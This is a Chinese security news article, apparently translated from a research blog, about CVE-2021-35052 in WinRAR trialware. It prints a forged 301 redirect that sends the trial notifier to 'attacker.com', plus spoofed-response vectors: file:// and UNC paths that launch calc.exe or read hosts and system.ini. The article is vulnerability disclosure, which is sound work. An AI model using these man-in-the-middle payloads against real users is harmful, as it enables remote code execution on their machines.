本文讨论的是位于 WinRAR 试用版中的一个漏洞,它对管理第三方软件具有重大影响。该漏洞可导致攻击者拦截并修改发送到该试用版用户的请求,从而在用户计算机实现远程代码执行。该漏洞的编号为 CVE-2021-35052。

背景

WinRAR 是一款用于管理 Windows 操作系统上文档文件的应用程序,可创建并解压缩常见文档格式如 RAR 和 ZIP。WinRAR 以试用软件的形式分发,可使用户在规定期限内试用全部功能,期限过后用户可能还可以使用该应用,不过某些特性会被禁用。

研究结果

研究人员指出,这个漏洞是偶然从 WinRAR 版本 5.70 中发现的。他们安装并使用一段时间后,WinRAR 生成一个 JavaScript错误:

这一结果让人惊讶,因为该错误表明 IE 引擎正在渲染该错误窗口。经过几次实验后,研究人员发现一旦试用期结束,则大概在每三次启动 WinRAR.exe 应用中,有一次就会出现这个通知窗口。该窗口使用的是 Borland C++ 的 mshtml.dll 实现,这也是编写 WinRAR 的语言。

研究员将本地 Burp Suite 作为默认的 Windows 代理并尝试拦截流量以及了解错误发生的原因以及是否利用该错误。由于请求是通过 HTTPS 发送的,因此 WinRAR 用户将收到关于Burp所使用的自签名证书不正确的通知。然而,很多用户会点击 “Yes” 继续使用该应用。

从请求本身可看到WinRAR 应用程序的版本 (5.7.0) 和架构 (x64):

    GET/?language=English&source=RARLAB&landingpage=expired&version=570&architecture=64 HTTP/1.1Accept: */*Accept-Language: ru-RUUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3)Host: notifier.rarlab.com Connection: closeCookie: _wr=; _gid=; _ga=

    修改对终端用户的请求

    接着,研究员尝试修改 WinRAR 向用户发送的响应。研究人员并非每次都会使用恶意内容拦截并更改默认域名 “notifier.rarlab.com” 的响应,而是注意到如果响应代码被更改为 “301 永久移除“,之后重定向恶意域名 “attacker.com” 会被缓存,而所有请求将会去往 “attacker.com”。

      HTTP/1.1301 Moved Permanentlycontent-length: 0Location: http://attacker.com/?language=English&source=RARLAB&landingpage=expired&version=570&architecture=64connection: close

      远程代码执行

      这种中间人攻击要求进行 ARP 欺骗,因此假定潜在攻击者已经能够访问该网络域名,则会将研究员置于 IE 安全区域的 Zone 1。研究人员通过多种不同的攻击向量查看是否适用于这种访问权限。

        file://10.0.12.34/applications/test.jar

        \\\\\\\\10.0.12.34/applications/test.jar

        file://localhost/C:/windows/system32/drivers/etc/hosts

        file:///C:/windows/system32/calc.exe

        file:///C:\\\\\\\\windows\\\\\\\\system.ini

        如上代码说明了展现多种可能的攻击向量的被欺骗响应,这些向量包括运行应用程序、检索本地主机信息以及运行计算器应用程序。

        多数攻击向量是成功的,但应当注意到很多攻击向量会触发额外的 Windows 安全警告信息。要达到全面成功,需要用户点击“运行“而非”取消‘。

        然而,运行某些文件类型时并不会出现安全警告信息,包括:.DOCX、.PDF、.PY 和 .RAR。

        在 WinRAR 5.7 之前的版本中,利用漏洞 CVE-2018-20250 还可以实现远程代码执行后果。

        结论

        组织机构面临的最大挑战之一是管理第三方软件。一旦安装后第三方软件就能够读、写和修改设备上的数据,而这些设备能够访问企业网络。用户不可能审计每个应用程序是否可安装,因此制定相关策略对于管理外部应用程序相关风险以及平衡多种应用程序的业务需求和风险就显得十分重要。管理不当可造成影响广泛的后果。

        原文链接

        https://swarm.ptsecurity.com/winrars-vulnerable-trialware-when-free-software-isnt-free/

        声明:本文来自代码卫士,版权归作者所有。文章内容仅代表作者独立观点,不代表安全内参立场,转载目的在于传递更多信息。如有侵权,请联系 anquanneican@163.com。